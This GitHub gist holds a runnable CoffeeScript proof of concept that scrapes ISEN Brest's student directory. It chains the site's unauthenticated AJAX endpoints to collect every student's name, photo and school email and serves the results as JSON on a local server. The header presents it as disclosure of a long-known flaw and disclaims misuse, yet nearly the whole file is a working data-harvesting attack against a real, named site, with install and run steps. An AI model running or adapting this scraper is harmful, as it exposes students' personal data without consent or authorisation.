Last active
April 12, 2016 18:38
-
-
Save babolivier/ff9c8116436d440ffd3d9b4cf3e46536 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env coffee | |
################################################################################# | |
# This is a proof of concept to demonstrate the lack of security of ISEN Brest's# | |
# who's who (trombinoscope). In order to have it running stand-alone, just copy-# | |
# paste this file, cd to the paste's directory, install node.js, npm, then run: # | |
# # npm install -g coffee-script # | |
# $ npm install request cheerio async express printit # | |
# Then, all you have to do is to run # | |
# coffee ./[FILE_NAME] # | |
# or # | |
# chmod +x [FILE_NAME] && ./[FILE_NAME] # | |
# And open a browser to 127.0.0.1:1337 # | |
# The page will take a while to load, but will deliver all the data available in# | |
# JSON (don't forget to take a look at the logs in the console). As there's a # | |
# lot of data, I strongly advise you to install a JSON-rendering extension on # | |
# your browser. # | |
# # | |
# DISCLAIMER: This script exists solely to shine a light on a vulnerability # | |
# known for more than 6 months. I do not consent, let alone authorise, any # | |
# maleficent use of it. # | |
################################################################################# | |
request = require 'request' | |
cheerio = require 'cheerio' | |
async = require 'async' | |
express = require 'express' | |
printit = require 'printit' | |
app = express() | |
log = printit | |
prefix: 'isen:trombino-poc' | |
date: true | |
currentCycle = "" | |
params = | |
defaultEmailTag: "mail isen" | |
defaultTag: "ISEN-Etudiant" | |
# getAll: Get all the trombinoscope's content | |
# | |
# next(err, results); results: An arranged (see @rearrange) object containing | |
# all the students | |
getAll = (next) => | |
getCycles (err, results) => | |
if err | |
return next err | |
else | |
async.mapSeries results, getList, (err, results) => | |
next null, rearrange results | |
# getCycles: Get the cycles (CIR, CSI, Majeures, BTS...) | |
# | |
# next(err, cycles); cycles; An array containing all the cycles | |
getCycles = (next) -> | |
request.post | |
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_cycles.php' | |
, (err, status, body) -> | |
if err | |
next err | |
else | |
cycles = [] | |
$ = cheerio.load body | |
$('option').each (i, elem) -> | |
if $(this).html() isnt 'Cycles' | |
cycles.push name: $(this).text() | |
next null, cycles | |
# getList: Get a list of years, groups and students for a given cycle | |
# | |
# cycle: An object, cycle.name being the cycle's name | |
# next(err, results); results: The said list | |
getList = (cycle, next) => | |
currentCycle = cycle.name | |
requestYears (err, results) -> | |
if err | |
next err | |
else | |
next null, results | |
# requestStudents: Requests and parse all the students for a given group | |
# | |
# groupe: The given group, as an object, with groupe.name being its name | |
# and groupe.students being the students in it | |
# next(err, groupe); groupe: The modified "groupe" parameter. The students | |
# objects look like this: | |
# { | |
# name: "Brendan Abolivier" | |
# photo: "https://web.isen-bretagne.fr/trombino/img/844236.jpg" | |
# email: "brendan.abolivier@isen-bretagne.fr" | |
# } | |
requestStudents = (groupe, next) -> | |
request.post | |
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_etudiants.php' | |
form: | |
choix_groupe: groupe.name | |
nombre_colonnes: 5 | |
, (err, status, body) -> | |
if err | |
next err | |
else | |
students = [] | |
$ = cheerio.load body | |
if $('td#tdTrombi').length isnt 0 | |
for img in $('img') | |
if path = img.attribs.src.match '\.\/(.+)\.(jpg|png)' | |
img.attribs.src = 'https://web.isen-bretagne.fr/trombino/'+path[1]+'.'+path[2] | |
# If you're reading this you have no life | |
$('td#tdTrombi').each (i, elem) -> | |
students.push | |
name: $(this).children('b').text() | |
photo: $(this).children('img')[0].attribs.src | |
email: $(this).children('a').text() | |
log.info 'Successfully retrieved '+students.length+' students in group '+groupe.name | |
groupe.students = students | |
else | |
groupe.students = [] | |
log.info 'No students retrieved from '+groupe.name | |
next null, groupe | |
requestGroups = (annee, next) => | |
request.post | |
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_groupes.php' | |
form: | |
choix_annee: annee.name | |
choix_cycle: currentCycle | |
statut: 'etudiant' | |
, (err, status, body) => | |
if err | |
next err | |
else | |
groupes = [] | |
$ = cheerio.load body | |
$('option').each (i, elem) -> | |
if $(this).html() isnt 'Groupes' | |
groupes.push name: $(this).text() | |
annee.groupes = groupes | |
log.info 'Successfully retrieved '+groupes.length+' groups from year '+annee.name | |
async.mapSeries annee.groupes, requestStudents, (err, results) -> | |
if err | |
next err | |
else | |
next null, name: annee.name, groupes: results | |
requestYears = (next) => | |
request.post | |
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_annees.php' | |
form: | |
choix_cycle: currentCycle | |
, (err, status, body) => | |
annees = [] | |
$ = cheerio.load body | |
$('option').each (i, elem) -> | |
if $(this).text() isnt 'Années' | |
annees.push name: $(this).text() | |
log.info 'Successfully retrieved '+annees.length+' years from cycle '+ currentCycle | |
async.mapSeries annees, requestGroups, (err, results) => | |
if err | |
next err | |
else | |
next null, name: currentCycle, annees: results | |
rearrange = (results) => | |
students = {} | |
cycleName = anneeName = groupeName = "" | |
for cycle in results | |
cycleName = cycle.name | |
for annee in cycle.annees | |
anneeName = annee.name | |
for groupe in annee.groupes | |
groupName = groupe.name | |
for student in groupe.students | |
if student.email | |
if students[student.email] | |
students[student.email].tags.push groupName | |
else | |
name = student.name.match /([^ ]+) (.+)/ | |
students[student.email] = | |
fn: student.name | |
n: name[2]+';'+name[1]+';;;' | |
photo: student.photo | |
datapoints: [{ | |
name: "email" | |
value: student.email | |
type: params.defaultEmailTag | |
}] | |
tags: [params.defaultTag, cycleName, anneeName, groupName] | |
students | |
app.get '/', (req, res, next) -> | |
getAll (err, results) -> | |
res.status(500).send err if err | |
res.status(200).send results if not err | |
app.listen '1337' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment